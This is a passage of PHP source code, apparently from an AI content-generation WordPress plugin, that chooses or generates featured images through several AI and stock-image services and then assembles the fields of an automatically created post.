                                                        $ai_command_image = aiomatic_substr($ai_command_image, 0, 400);
                                                    }
                                                    if (isset($aiomatic_Main_Settings['enable_detailed_logging'])) 
                                                    {
                                                        $api_service = aiomatic_get_api_service($token, $image_model);
                                                        aiomatic_log_to_file('Calling ' . $api_service . ' for featured image: ' . $ai_command_image);
                                                    }
                                                    $skip_this_copy = true;
                                                    if(!function_exists('is_plugin_active'))
                                                    {
                                                        include_once( ABSPATH . 'wp-admin/includes/plugin.php' );
                                                    }
                                                    if ((is_plugin_active('featured-image-from-url/featured-image-from-url.php') || is_plugin_active('fifu-premium/fifu-premium.php')) && isset($aiomatic_Main_Settings['url_image']) && trim($aiomatic_Main_Settings['url_image']) == 'on') 
                                                    {
                                                        $skip_this_copy = false;
                                                    }
                                                    if (isset($aiomatic_Main_Settings['copy_locally']) && $aiomatic_Main_Settings['copy_locally'] == 'on')
                                                    {
                                                        $skip_this_copy = false;
                                                    }
                                                    $aierror = '';
                                                    $get_img = aiomatic_generate_ai_image($token, 1, $ai_command_image, $image_size, 'featuredImage', $skip_this_copy, 0, $aierror, $image_model);
                                                    if($get_img !== false)
                                                    {
                                                        foreach($get_img as $tmpimg)
                                                        {
                                                            $get_img = $tmpimg;
                                                            break;
                                                        }
                                                        if (isset($aiomatic_Main_Settings['enable_detailed_logging'])) 
                                                        {
                                                            aiomatic_log_to_file('AI generated featured image returned: ' . $get_img);
                                                        }
                                                    }
                                                    else
                                                    {
                                                        aiomatic_log_to_file('Failed to generate AI featured image: ' . $aierror);
                                                        $get_img = '';
                                                    }
                                                }
                                            }
                                            else
                                            {
                                                aiomatic_log_to_file('Empty AI featured image query entered.');
                                            }
                                        }
                                        elseif($enable_ai_images == '2')
                                        {
                                            $query_words = $post_title;
                                            if($image_query == '')
                                            {
                                                $image_query = $temp_post;
                                            }
                                            if($orig_ai_command_image == '')
                                            {
                                                $orig_ai_command_image = $image_query;
                                            }
                                            if($orig_ai_command_image != '')
                                            {
                                                $ai_command_image = $orig_ai_command_image;
                                                if(!isset($aiomatic_Main_Settings['whole_prompt']) || trim($aiomatic_Main_Settings['whole_prompt']) != 'on')
                                                {
                                                    $ai_command_image = preg_split('/\r\n|\r|\n/', $ai_command_image);
                                                    $ai_command_image = array_filter($ai_command_image);
                                                    if(count($ai_command_image) > 0)
                                                    {
                                                        $ai_command_image = $ai_command_image[array_rand($ai_command_image)];
                                                    }
                                                    else
                                                    {
                                                        $ai_command_image = '';
                                                    }
                                                }
                                                $ai_command_image = aiomatic_replaceSynergyShortcodes($ai_command_image);
                                                if(!empty($ai_command_image))
                                                {
                                                    $ai_command_image = replaceAIPostShortcodes($ai_command_image, $post_link, $post_title, $blog_title, $post_excerpt, $final_content, $user_name, $featured_image, $post_cats, $post_tagz, $postID, $img_attr, $old_title, $post_title_keywords, $custom_shortcodes, $global_prepend, $global_append);
                                                }
                                                else
                                                {
                                                    $ai_command_image = trim(strip_tags($post_title));
                                                }
                                                $ai_command_image = trim($ai_command_image);
                                                if (filter_var($ai_command_image, FILTER_VALIDATE_URL) !== false && aiomatic_endsWith($ai_command_image, '.txt'))
                                                {
                                                    $txt_content = aiomatic_get_web_page($ai_command_image);
                                                    if ($txt_content !== FALSE) 
                                                    {
                                                        $txt_content = preg_split('/\r\n|\r|\n/', $txt_content);
                                                        $txt_content = array_filter($txt_content);
                                                        if(count($txt_content) > 0)
                                                        {
                                                            $txt_content = $txt_content[array_rand($txt_content)];
                                                            if(trim($txt_content) != '') 
                                                            {
                                                                $ai_command_image = $txt_content;
                                                                $ai_command_image = aiomatic_replaceSynergyShortcodes($ai_command_image);
                                                                $ai_command_image = replaceAIPostShortcodes($ai_command_image, $post_link, $post_title, $blog_title, $post_excerpt, $final_content, $user_name, $featured_image, $post_cats, $post_tagz, $postID, $img_attr, $old_title, $post_title_keywords, $custom_shortcodes, $global_prepend, $global_append);
                                                            }
                                                        }
                                                    }
                                                }
                                                if(empty($ai_command_image))
                                                {
                                                    aiomatic_log_to_file('Empty API featured image seed expression provided!');
                                                }
                                                else
                                                {
                                                    if(strlen($ai_command_image) > 2000)
                                                    {
                                                        $ai_command_image = aiomatic_substr($ai_command_image, 0, 2000);
                                                    }
                                                    if (isset($aiomatic_Main_Settings['enable_detailed_logging'])) 
                                                    {
                                                        $api_service = 'Stability.AI';
                                                        aiomatic_log_to_file('Calling ' . $api_service . ' for featured image: ' . $ai_command_image);
                                                    }
                                                    if($image_size == '256x256')
                                                    {
                                                        $width = '512';
                                                        $height = '512';
                                                    }
                                                    elseif($image_size == '512x512')
                                                    {
                                                        $width = '512';
                                                        $height = '512';
                                                    }
                                                    elseif($image_size == '1024x1024')
                                                    {
                                                        $width = '1024';
                                                        $height = '1024';
                                                    }
                                                    else
                                                    {
                                                        $width = '512';
                                                        $height = '512';
                                                    }
                                                    $skip_this_copy = true;
                                                    if(!function_exists('is_plugin_active'))
                                                    {
                                                        include_once( ABSPATH . 'wp-admin/includes/plugin.php' );
                                                    }
                                                    if ((is_plugin_active('featured-image-from-url/featured-image-from-url.php') || is_plugin_active('fifu-premium/fifu-premium.php')) && isset($aiomatic_Main_Settings['url_image']) && trim($aiomatic_Main_Settings['url_image']) == 'on') 
                                                    {
                                                        $skip_this_copy = false;
                                                    }
                                                    $ierror = '';
                                                    $get_img = aiomatic_generate_stability_image($ai_command_image, $height, $width, 'featuredStableImage', 0, false, $ierror, $skip_this_copy, false);
                                                    if($get_img !== false)
                                                    {
                                                        if (isset($aiomatic_Main_Settings['enable_detailed_logging'])) 
                                                        {
                                                            aiomatic_log_to_file('AI generated featured image returned: ' . $get_img[1]);
                                                        }
                                                    }
                                                    else
                                                    {
                                                        aiomatic_log_to_file('Failed to generate Stability.AI featured image: ' . $ierror);
                                                        $get_img = '';
                                                    }
                                                }
                                            }
                                            else
                                            {
                                                aiomatic_log_to_file('Empty AI featured image query entered.');
                                            }
                                        }
                                        elseif($enable_ai_images == '4')
                                        {
                                            $query_words = $post_title;
                                            if($image_query == '')
                                            {
                                                $image_query = $temp_post;
                                            }
                                            if($orig_ai_command_image == '')
                                            {
                                                $orig_ai_command_image = $image_query;
                                            }
                                            if($orig_ai_command_image != '')
                                            {
                                                $ai_command_image = $orig_ai_command_image;
                                                if(!isset($aiomatic_Main_Settings['whole_prompt']) || trim($aiomatic_Main_Settings['whole_prompt']) != 'on')
                                                {
                                                    $ai_command_image = preg_split('/\r\n|\r|\n/', $ai_command_image);
                                                    $ai_command_image = array_filter($ai_command_image);
                                                    if(count($ai_command_image) > 0)
                                                    {
                                                        $ai_command_image = $ai_command_image[array_rand($ai_command_image)];
                                                    }
                                                    else
                                                    {
                                                        $ai_command_image = '';
                                                    }
                                                }
                                                $ai_command_image = aiomatic_replaceSynergyShortcodes($ai_command_image);
                                                if(!empty($ai_command_image))
                                                {
                                                    $ai_command_image = replaceAIPostShortcodes($ai_command_image, $post_link, $post_title, $blog_title, $post_excerpt, $final_content, $user_name, $featured_image, $post_cats, $post_tagz, $postID, $img_attr, $old_title, $post_title_keywords, $custom_shortcodes, $global_prepend, $global_append);
                                                }
                                                else
                                                {
                                                    $ai_command_image = trim(strip_tags($post_title));
                                                }
                                                $ai_command_image = trim($ai_command_image);
                                                if (filter_var($ai_command_image, FILTER_VALIDATE_URL) !== false && aiomatic_endsWith($ai_command_image, '.txt'))
                                                {
                                                    $txt_content = aiomatic_get_web_page($ai_command_image);
                                                    if ($txt_content !== FALSE) 
                                                    {
                                                        $txt_content = preg_split('/\r\n|\r|\n/', $txt_content);
                                                        $txt_content = array_filter($txt_content);
                                                        if(count($txt_content) > 0)
                                                        {
                                                            $txt_content = $txt_content[array_rand($txt_content)];
                                                            if(trim($txt_content) != '') 
                                                            {
                                                                $ai_command_image = $txt_content;
                                                                $ai_command_image = aiomatic_replaceSynergyShortcodes($ai_command_image);
                                                                $ai_command_image = replaceAIPostShortcodes($ai_command_image, $post_link, $post_title, $blog_title, $post_excerpt, $final_content, $user_name, $featured_image, $post_cats, $post_tagz, $postID, $img_attr, $old_title, $post_title_keywords, $custom_shortcodes, $global_prepend, $global_append);
                                                            }
                                                        }
                                                    }
                                                }
                                                if(empty($ai_command_image))
                                                {
                                                    aiomatic_log_to_file('Empty API featured image seed expression provided!');
                                                }
                                                else
                                                {
                                                    if(strlen($ai_command_image) > 2000)
                                                    {
                                                        $ai_command_image = aiomatic_substr($ai_command_image, 0, 2000);
                                                    }
                                                    if (isset($aiomatic_Main_Settings['enable_detailed_logging'])) 
                                                    {
                                                        $api_service = 'Midjourney';
                                                        aiomatic_log_to_file('Calling ' . $api_service . ' for featured image: ' . $ai_command_image);
                                                    }
                                                    if($image_size == '256x256')
                                                    {
                                                        $width = '512';
                                                        $height = '512';
                                                    }
                                                    elseif($image_size == '512x512')
                                                    {
                                                        $width = '512';
                                                        $height = '512';
                                                    }
                                                    elseif($image_size == '1024x1024')
                                                    {
                                                        $width = '1024';
                                                        $height = '1024';
                                                    }
                                                    elseif($image_size == '1792x1024')
                                                    {
                                                        $width = '1792';
                                                        $height = '1024';
                                                    }
                                                    elseif($image_size == '1024x1792')
                                                    {
                                                        $width = '1024';
                                                        $height = '1792';
                                                    }
                                                    else
                                                    {
                                                        $width = '512';
                                                        $height = '512';
                                                    }
                                                    $skip_this_copy = true;
                                                    if(!function_exists('is_plugin_active'))
                                                    {
                                                        include_once( ABSPATH . 'wp-admin/includes/plugin.php' );
                                                    }
                                                    if ((is_plugin_active('featured-image-from-url/featured-image-from-url.php') || is_plugin_active('fifu-premium/fifu-premium.php')) && isset($aiomatic_Main_Settings['url_image']) && trim($aiomatic_Main_Settings['url_image']) == 'on') 
                                                    {
                                                        $skip_this_copy = false;
                                                    }
                                                    $ierror = '';
                                                    $get_img = aiomatic_generate_ai_image_midjourney($ai_command_image, $width, $height, 'featuredMidjourneyImage', $skip_this_copy, $ierror);
                                                    if($get_img !== false)
                                                    {
                                                        if (isset($aiomatic_Main_Settings['enable_detailed_logging'])) 
                                                        {
                                                            aiomatic_log_to_file('AI generated featured image returned: ' . $get_img);
                                                        }
                                                    }
                                                    else
                                                    {
                                                        aiomatic_log_to_file('Failed to generate Midjourney featured image: ' . $ierror);
                                                        $get_img = '';
                                                    }
                                                }
                                            }
                                            else
                                            {
                                                aiomatic_log_to_file('Empty AI featured image query entered.');
                                            }
                                        }
                                        elseif($enable_ai_images == '3')
                                        {
                                            $query_words = $post_title;
                                            if ($image_url != '') 
                                            {
                                                $replacement = str_replace(array('[', ']'), '', $query_words);
                                                $image_url_temp = str_replace('%%item_title%%', $replacement, $image_url);
                                                $image_url_temp = preg_replace_callback('#%%random_image\[([^\]]*?)\](\[\d+\])?%%#', function ($matches) {
                                                    if(isset($matches[2]))
                                                    {
                                                        $chance = trim($matches[2], '[]');
                                                    }
                                                    else
                                                    {
                                                        $chance = '';
                                                    }
                                                    $arv = array();
                                                    $my_img = aiomatic_get_random_image_google($matches[1], 0, 0, $chance, $arv);
                                                    return $my_img;
                                                }, $image_url_temp);
                                                $img_rulx = $spintax->Parse(trim($image_url_temp));
                                                $selected_img = aiomatic_select_ai_image($post_title, $img_rulx);
                                                if($selected_img === false)
                                                {
                                                    $img_rulx = explode(',', $img_rulx);
                                                    $img_rulx = trim($img_rulx[array_rand($img_rulx)]);
                                                    if($img_rulx != '')
                                                    {
                                                        $get_img = $img_rulx;
                                                    }
                                                }
                                                else
                                                {
                                                    $get_img = $selected_img;
                                                }
                                            }
                                        }
                                        else
                                        {
                                            $image_query_set = false;
                                            $query_words = '';
                                            $ai_command_image = '';
                                            if($orig_ai_command_image == '')
                                            {
                                                $orig_ai_command_image = $image_query;
                                            }
                                            if($orig_ai_command_image != '')
                                            {
                                                $ai_command_image = $orig_ai_command_image;
                                                if(!isset($aiomatic_Main_Settings['whole_prompt']) || trim($aiomatic_Main_Settings['whole_prompt']) != 'on')
                                                {
                                                    $ai_command_image = preg_split('/\r\n|\r|\n/', $ai_command_image);
                                                    $ai_command_image = array_filter($ai_command_image);
                                                    if(count($ai_command_image) > 0)
                                                    {
                                                        $ai_command_image = $ai_command_image[array_rand($ai_command_image)];
                                                    }
                                                    else
                                                    {
                                                        $ai_command_image = '';
                                                    }
                                                }
                                                $ai_command_image = aiomatic_replaceSynergyShortcodes($ai_command_image);
                                                if(!empty($ai_command_image))
                                                {
                                                    $ai_command_image = replaceAIPostShortcodes($ai_command_image, $post_link, $post_title, $blog_title, $post_excerpt, $final_content, $user_name, $featured_image, $post_cats, $post_tagz, $postID, $img_attr, $old_title, $post_title_keywords, $custom_shortcodes, $global_prepend, $global_append);
                                                }
                                                else
                                                {
                                                    $ai_command_image = trim(strip_tags($post_title));
                                                }
                                                $ai_command_image = trim($ai_command_image);
                                                if (filter_var($ai_command_image, FILTER_VALIDATE_URL) !== false && aiomatic_endsWith($ai_command_image, '.txt'))
                                                {
                                                    $txt_content = aiomatic_get_web_page($ai_command_image);
                                                    if ($txt_content !== FALSE) 
                                                    {
                                                        $txt_content = preg_split('/\r\n|\r|\n/', $txt_content);
                                                        $txt_content = array_filter($txt_content);
                                                        if(count($txt_content) > 0)
                                                        {
                                                            $txt_content = $txt_content[array_rand($txt_content)];
                                                            if(trim($txt_content) != '') 
                                                            {
                                                                $ai_command_image = $txt_content;
                                                                $ai_command_image = aiomatic_replaceSynergyShortcodes($ai_command_image);
                                                                $ai_command_image = replaceAIPostShortcodes($ai_command_image, $post_link, $post_title, $blog_title, $post_excerpt, $final_content, $user_name, $featured_image, $post_cats, $post_tagz, $postID, $img_attr, $old_title, $post_title_keywords, $custom_shortcodes, $global_prepend, $global_append);
                                                            }
                                                        }
                                                    }
                                                }
                                            }
                                            if($ai_command_image != '')
                                            {
                                                $query_words = $ai_command_image;
                                                $image_query = $ai_command_image;
                                                $image_query_set = true;
                                            }
                                            if(isset($aiomatic_Main_Settings['improve_keywords']) && trim($aiomatic_Main_Settings['improve_keywords']) == 'textrazor')
                                            {
                                                if(isset($aiomatic_Main_Settings['textrazor_key']) && trim($aiomatic_Main_Settings['textrazor_key']) != '')
                                                {
                                                    try
                                                    {
                                                        if(!class_exists('TextRazor'))
                                                        {
                                                            require_once(dirname(__FILE__) . "/res/TextRazor.php");
                                                        }
                                                        TextRazorSettings::setApiKey(trim($aiomatic_Main_Settings['textrazor_key']));
                                                        $textrazor = new TextRazor();
                                                        $textrazor->addExtractor('entities');
                                                        $response = $textrazor->analyze($image_query);
                                                        if (isset($response['response']['entities'])) 
                                                        {
                                                            foreach ($response['response']['entities'] as $entity) 
                                                            {
                                                                $query_words = '';
                                                                if(isset($entity['entityEnglishId']))
                                                                {
                                                                    $query_words = $entity['entityEnglishId'];
                                                                }
                                                                else
                                                                {
                                                                    $query_words = $entity['entityId'];
                                                                }
                                                                if($query_words != '')
                                                                {
                                                                    $z_img = aiomatic_get_free_image($aiomatic_Main_Settings, $query_words, $img_attr, 10, true, $raw_img_list, array(), $full_result_list);
                                                                    if(!empty($z_img))
                                                                    {
                                                                        $get_img = $z_img;
                                                                        $go_local_image = false;
                                                                        if(!function_exists('is_plugin_active'))
                                                                        {
                                                                            include_once( ABSPATH . 'wp-admin/includes/plugin.php' );
                                                                        }
                                                                        if ((is_plugin_active('featured-image-from-url/featured-image-from-url.php') || is_plugin_active('fifu-premium/fifu-premium.php')) && isset($aiomatic_Main_Settings['url_image']) && trim($aiomatic_Main_Settings['url_image']) == 'on' && isset($aiomatic_Main_Settings['copy_locally']) && $aiomatic_Main_Settings['copy_locally'] != 'disabled' && $aiomatic_Main_Settings['copy_locally'] != 'on') 
                                                                        {
                                                                            $go_local_image = true;
                                                                        }
                                                                        if($go_local_image == true)
                                                                        {
                                                                            $localpath = aiomatic_copy_image_locally($get_img);
                                                                            if($localpath !== false)
                                                                            {
                                                                                $get_img = $localpath[0];
                                                                            }
                                                                        }
                                                                        if (isset($aiomatic_Main_Settings['enable_detailed_logging'])) {
                                                                            aiomatic_log_to_file('Royalty Free Image Generated with help of TextRazor (kw: "' . $query_words . '"): ' . $z_img);
                                                                        }
                                                                        break;
                                                                    }
                                                                }
                                                            }
                                                        }
                                                    }
                                                    catch(Exception $e)
                                                    {
                                                        if (isset($aiomatic_Main_Settings['enable_detailed_logging'])) {
                                                            aiomatic_log_to_file('Failed to search for keywords using TextRazor (2): ' . $e->getMessage());
                                                        }
                                                    }
                                                }
                                            }
                                            elseif(isset($aiomatic_Main_Settings['improve_keywords']) && trim($aiomatic_Main_Settings['improve_keywords']) == 'openai')
                                            {
                                                if(isset($aiomatic_Main_Settings['keyword_prompts']) && trim($aiomatic_Main_Settings['keyword_prompts']) != '')
                                                {
                                                    if(isset($aiomatic_Main_Settings['keyword_model']) && $aiomatic_Main_Settings['keyword_model'] != '')
                                                    {
                                                        $kw_model = $aiomatic_Main_Settings['keyword_model'];
                                                    }
                                                    else
                                                    {
                                                        $kw_model = get_default_model_name($aiomatic_Main_Settings);
                                                    }
                                                    if(isset($aiomatic_Main_Settings['keyword_assistant_id']) && $aiomatic_Main_Settings['keyword_assistant_id'] != '')
                                                    {
                                                        $keyword_assistant_id = $aiomatic_Main_Settings['keyword_assistant_id'];
                                                    }
                                                    else
                                                    {
                                                        $keyword_assistant_id = '';
                                                    }
                                                    $title_ai_command = trim($aiomatic_Main_Settings['keyword_prompts']);
                                                    $title_ai_command = str_replace('%%default_post_cats%%', $default_cat_list, $title_ai_command);
                                                    if(!isset($aiomatic_Main_Settings['whole_prompt']) || trim($aiomatic_Main_Settings['whole_prompt']) != 'on')
                                                    {
                                                        $title_ai_command = preg_split('/\r\n|\r|\n/', $title_ai_command);
                                                        $title_ai_command = array_filter($title_ai_command);
                                                        if(count($title_ai_command) > 0)
                                                        {
                                                            $title_ai_command = $title_ai_command[array_rand($title_ai_command)];
                                                        }
                                                        else
                                                        {
                                                            $title_ai_command = '';
                                                        }
                                                    }
                                                    $title_ai_command = aiomatic_replaceSynergyShortcodes($title_ai_command);
                                                    if(!empty($title_ai_command))
                                                    {
                                                        $title_ai_command = replaceAIPostShortcodes($title_ai_command, $post_link, $post_title, $blog_title, $post_excerpt, $final_content, $user_name, $featured_image, $post_cats, $post_tagz, $postID, $img_attr, $old_title, $post_title_keywords, $custom_shortcodes, $global_prepend, $global_append);
                                                    }
                                                    $title_ai_command = trim($title_ai_command);
                                                    if (filter_var($title_ai_command, FILTER_VALIDATE_URL) !== false && aiomatic_endsWith($title_ai_command, '.txt'))
                                                    {
                                                        $txt_content = aiomatic_get_web_page($title_ai_command);
                                                        if ($txt_content !== FALSE) 
                                                        {
                                                            $txt_content = preg_split('/\r\n|\r|\n/', $txt_content);
                                                            $txt_content = array_filter($txt_content);
                                                            if(count($txt_content) > 0)
                                                            {
                                                                $txt_content = $txt_content[array_rand($txt_content)];
                                                                if(trim($txt_content) != '') 
                                                                {
                                                                    $title_ai_command = $txt_content;
                                                                    $title_ai_command = aiomatic_replaceSynergyShortcodes($title_ai_command);
                                                                    $title_ai_command = replaceAIPostShortcodes($title_ai_command, $post_link, $post_title, $blog_title, $post_excerpt, $final_content, $user_name, $featured_image, $post_cats, $post_tagz, $postID, $img_attr, $old_title, $post_title_keywords, $custom_shortcodes, $global_prepend, $global_append);
                                                                }
                                                            }
                                                        }
                                                    }
                                                    if(empty($title_ai_command))
                                                    {
                                                        aiomatic_log_to_file('Empty API keyword extractor seed expression provided!');
                                                        $title_ai_command = 'Type the most relevant keyword, no other text before or after it, for a blog post titled:  ' . trim(strip_tags($post_title));
                                                    } 
                                                    if(strlen($title_ai_command) > $max_seed_tokens * 4)
                                                    {
                                                        $title_ai_command = aiomatic_substr($title_ai_command, 0, (0 - ($max_seed_tokens * 4)));
                                                    }
                                                    $title_ai_command = trim($title_ai_command);
                                                    if(empty($title_ai_command))
                                                    {
                                                        aiomatic_log_to_file('Empty API title seed expression provided(3)! ' . print_r($title_ai_command, true));
                                                    }
                                                    else
                                                    {
                                                        $query_token_count = count(aiomatic_encode($title_ai_command));
                                                        $available_tokens = aiomatic_compute_available_tokens($kw_model, $max_tokens, $title_ai_command, $query_token_count);
                                                        if($available_tokens <= AIOMATIC_MINIMUM_TOKENS_FOR_COMPLETIONS)
                                                        {
                                                            $string_len = strlen($title_ai_command);
                                                            $string_len = $string_len / 2;
                                                            $string_len = intval(0 - $string_len);
                                                            $title_ai_command = aiomatic_substr($title_ai_command, 0, $string_len);
                                                            $title_ai_command = trim($title_ai_command);
                                                            $query_token_count = count(aiomatic_encode($title_ai_command));
                                                            $available_tokens = $max_tokens - $query_token_count;
                                                        }
                                                        $aierror = '';
                                                        $finish_reason = '';
                                                        if(!empty($global_prepend))
                                                        {
                                                            $title_ai_command = $global_prepend . ' ' . $title_ai_command;
                                                        }
                                                        if(!empty($global_append))
                                                        {
                                                            $title_ai_command = $title_ai_command . ' ' . $global_append;
                                                        }
                                                        if (isset($aiomatic_Main_Settings['enable_detailed_logging'])) 
                                                        {
                                                            $api_service = aiomatic_get_api_service($token, $kw_model);
                                                            aiomatic_log_to_file('Calling ' . $api_service . ' (' . $keyword_assistant_id . '/' . $kw_model . ') for title text: ' . $title_ai_command);
                                                        }
                                                        aiomatic_job_set_status_pending($rule_unique_id, array('step' => 'Generating keywords for image search'));
                                                        $generated_text = aiomatic_generate_text($token, $kw_model, $title_ai_command, $available_tokens, $temperature, $top_p, $presence_penalty, $frequency_penalty, false, 'keywordID' . $param, 0, $finish_reason, $aierror, true, false, false, '', '', 'user', $keyword_assistant_id, $thread_id, '', 'disabled', '', true);
                                                        if($generated_text === false)
                                                        {
                                                            aiomatic_log_to_file('Keyword generator error: ' . $aierror);
                                                            $ai_title = '';
                                                        }
                                                        else
                                                        {
                                                            $ai_title = trim(trim(trim(trim($generated_text), '.'), ' “â€â€˜â€™"\''));
                                                            $ai_titles = explode(',', $ai_title);
                                                            foreach($ai_titles as $query_words)
                                                            {
                                                                $z_img = aiomatic_get_free_image($aiomatic_Main_Settings, trim($query_words), $img_attr, 10, true, $raw_img_list, array(), $full_result_list);
                                                                if(!empty($z_img))
                                                                {
                                                                    $get_img = $z_img;
                                                                    $go_local_image = false;
                                                                    if(!function_exists('is_plugin_active'))
                                                                    {
                                                                        include_once( ABSPATH . 'wp-admin/includes/plugin.php' );
                                                                    }
                                                                    if ((is_plugin_active('featured-image-from-url/featured-image-from-url.php') || is_plugin_active('fifu-premium/fifu-premium.php')) && isset($aiomatic_Main_Settings['url_image']) && trim($aiomatic_Main_Settings['url_image']) == 'on' && isset($aiomatic_Main_Settings['copy_locally']) && $aiomatic_Main_Settings['copy_locally'] != 'disabled' && $aiomatic_Main_Settings['copy_locally'] != 'on') 
                                                                    {
                                                                        $go_local_image = true;
                                                                    }
                                                                    if($go_local_image == true)
                                                                    {
                                                                        $localpath = aiomatic_copy_image_locally($get_img);
                                                                        if($localpath !== false)
                                                                        {
                                                                            $get_img = $localpath[0];
                                                                        }
                                                                    }
                                                                    if (isset($aiomatic_Main_Settings['enable_detailed_logging'])) {
                                                                        aiomatic_log_to_file('Royalty Free Image Generated with help of AI (kw: "' . $query_words . '"): ' . $z_img);
                                                                    }
                                                                    break;
                                                                }
                                                            }
                                                        }
                                                        if (isset($aiomatic_Main_Settings['enable_detailed_logging'])) 
                                                        {
                                                            $api_service = aiomatic_get_api_service($token, $kw_model);
                                                            aiomatic_log_to_file('Successfully got API keyword result from ' . $api_service . ': ' . $ai_title);
                                                        }
                                                    }
                                                }
                                            }
                                            if(empty($get_img))
                                            {
                                                if($image_query_set == true && !empty($image_query))
                                                {
                                                    $get_img = aiomatic_get_free_image($aiomatic_Main_Settings, $image_query, $img_attr, 10, true, $raw_img_list, array(), $full_result_list);
                                                    if($get_img == '' || $get_img === false)
                                                    {
                                                        if(isset($aiomatic_Main_Settings['bimage']) && $aiomatic_Main_Settings['bimage'] == 'on')
                                                        {
                                                            $keyword_class = new Aiomatic_keywords();
                                                            $image_query = $keyword_class->keywords($image_query, 1);
                                                            $get_img = aiomatic_get_free_image($aiomatic_Main_Settings, $image_query, $img_attr, 20, true, $raw_img_list, array(), $full_result_list);
                                                        }
                                                    }
                                                }
                                                if(empty($get_img))
                                                {
                                                    $keyword_class = new Aiomatic_keywords();
                                                    $query_words = $keyword_class->keywords($post_title, 2);
                                                    $get_img = aiomatic_get_free_image($aiomatic_Main_Settings, $query_words, $img_attr, 10, true, $raw_img_list, array(), $full_result_list);
                                                    if($get_img == '' || $get_img === false)
                                                    {
                                                        if(isset($aiomatic_Main_Settings['bimage']) && $aiomatic_Main_Settings['bimage'] == 'on')
                                                        {
                                                            $query_words = $keyword_class->keywords($post_title, 1);
                                                            $get_img = aiomatic_get_free_image($aiomatic_Main_Settings, $query_words, $img_attr, 20, true, $raw_img_list, array(), $full_result_list);
                                                            if($get_img == '' || $get_img === false)
                                                            {
                                                                if(isset($aiomatic_Main_Settings['no_royalty_skip']) && $aiomatic_Main_Settings['no_royalty_skip'] == 'on')
                                                                {
                                                                    if (isset($aiomatic_Main_Settings['enable_detailed_logging'])) {
                                                                        aiomatic_log_to_file('Skipping importing because no royalty free image found.');
                                                                    }
                                                                    unset($post_title_lines[$current_index]);
                                                                    continue;
                                                                }
                                                            }
                                                        }
                                                        else
                                                        {
                                                            if(isset($aiomatic_Main_Settings['no_royalty_skip']) && $aiomatic_Main_Settings['no_royalty_skip'] == 'on')
                                                            {
                                                                if (isset($aiomatic_Main_Settings['enable_detailed_logging'])) {
                                                                    aiomatic_log_to_file('Skipping importing because no royalty free image found.');
                                                                }
                                                                unset($post_title_lines[$current_index]);
                                                                continue;
                                                            }
                                                        }
                                                    }
                                                }
                                                if(!empty($get_img))
                                                {
                                                    
                                                    $go_local_image = false;
                                                    if(!function_exists('is_plugin_active'))
                                                    {
                                                        include_once( ABSPATH . 'wp-admin/includes/plugin.php' );
                                                    }
                                                    if ((is_plugin_active('featured-image-from-url/featured-image-from-url.php') || is_plugin_active('fifu-premium/fifu-premium.php')) && isset($aiomatic_Main_Settings['url_image']) && trim($aiomatic_Main_Settings['url_image']) == 'on' && isset($aiomatic_Main_Settings['copy_locally']) && $aiomatic_Main_Settings['copy_locally'] != 'disabled' && $aiomatic_Main_Settings['copy_locally'] != 'on') 
                                                    {
                                                        $go_local_image = true;
                                                    }
                                                    if($go_local_image == true)
                                                    {
                                                        $localpath = aiomatic_copy_image_locally($get_img);
                                                        if($localpath !== false)
                                                        {
                                                            $get_img = $localpath[0];
                                                        }
                                                    }
                                                }
                                            }
                                        }
                                    }
                                    if (isset($aiomatic_Main_Settings['spin_text']) && $aiomatic_Main_Settings['spin_text'] !== 'disabled') 
                                    {
                                        $already_spinned = '1';
                                    }
                                    $my_post                              = array();
                                    $my_post['aiomatic_post_image']       = $get_img;
                                    if($enable_ai_images == '2')
                                    {
                                        $my_post['aiomatic_local_image']      = '1';
                                    }
                                    else
                                    {
                                        $my_post['aiomatic_local_image']      = '0';
                                    }
                                    $my_post['aiomatic_enable_pingbacks'] = $enable_pingback;
                                    $my_post['default_category']          = $default_category;
                                    $my_post['post_type']                 = $post_type;
                                    $my_post['comment_status']            = $accept_comments;
                                    if (isset($aiomatic_Main_Settings['draft_first']) && $aiomatic_Main_Settings['draft_first'] != 'on')
                                    {
                                        if($post_status == 'publish')
                                        {
                                            $draft_me = true;
                                            $my_post['post_status'] = 'draft';
                                        }
                                        else
                                        {
                                            $my_post['post_status']   = $post_status;
                                        }
                                    }
                                    else
                                    {
                                        $my_post['post_status']               = $post_status;
                                    }
                                    if($user_name_type == 'rand')
                                    {
                                        $randid = aiomatic_display_random_user();
                                        if($randid === false)
                                        {
                                            $my_post['post_author']               = aiomatic_randomName();
                                        }
                                        else
                                        {
                                            $my_post['post_author']               = $randid->ID;
                                        }
                                    }
                                    else
                                    {
                                        $my_post['post_author']               = $post_user_name;
                                    }
                                    $ai_command = $orig_ai_command;
                                    $ai_command = aiomatic_replaceSynergyShortcodes($ai_command);
                                    if(!empty($ai_command))
                                    {
                                        $aicontent = replaceAIPostShortcodes($ai_command, $post_link, $post_title, $blog_title, $post_excerpt, $final_content, $user_name, $featured_image, $post_cats, $post_tagz, $postID, $img_attr, $old_title, $post_title_keywords, $custom_shortcodes, $global_prepend, $global_append);
                                    }
                                    else
                                    {
                                        $aicontent = trim(strip_tags($post_title));
                                    }
                                    if (filter_var($aicontent, FILTER_VALIDATE_URL) !== false && aiomatic_endsWith($aicontent, '.txt'))
                                    {
                                        $txt_content = aiomatic_get_web_page($aicontent);
                                        if ($txt_content !== FALSE) 
                                        {
                                            $txt_content = preg_split('/\r\n|\r|\n/', $txt_content);
                                            $txt_content = array_filter($txt_content);
                                            if(count($txt_content) > 0)
                                            {
                                                $txt_content = $txt_content[array_rand($txt_content)];
                                                if(trim($txt_content) != '') 
                                                {
                                                    $aicontent = $txt_content;
                                                    $aicontent = aiomatic_replaceSynergyShortcodes($aicontent);
                                                    $aicontent = replaceAIPostShortcodes($aicontent, $post_link, $post_title, $blog_title, $post_excerpt, $final_content, $user_name, $featured_image, $post_cats, $post_tagz, $postID, $img_attr, $old_title, $post_title_keywords, $custom_shortcodes, $global_prepend, $global_append);
                                                }
                                            }
                                        }
                                    }
                                    $last_char = aiomatic_substr($aicontent, -1, null);
                                    if(!ctype_punct($last_char))
                                    {
                                        $aicontent .= '.';
                                    }
                                    if(strlen($aicontent) > $max_seed_tokens * 4)
                                    {
                                        $aicontent = aiomatic_substr($aicontent, 0, (0-($max_seed_tokens * 4)));
                                    }
                                    $aicontent = trim($aicontent);
                                    if(empty($aicontent))
                                    {
                                        aiomatic_log_to_file('Empty API seed expression provided! ' . print_r($ai_command, true));
                                        break;
                                    }
                                    $query_token_count = count(aiomatic_encode($aicontent));
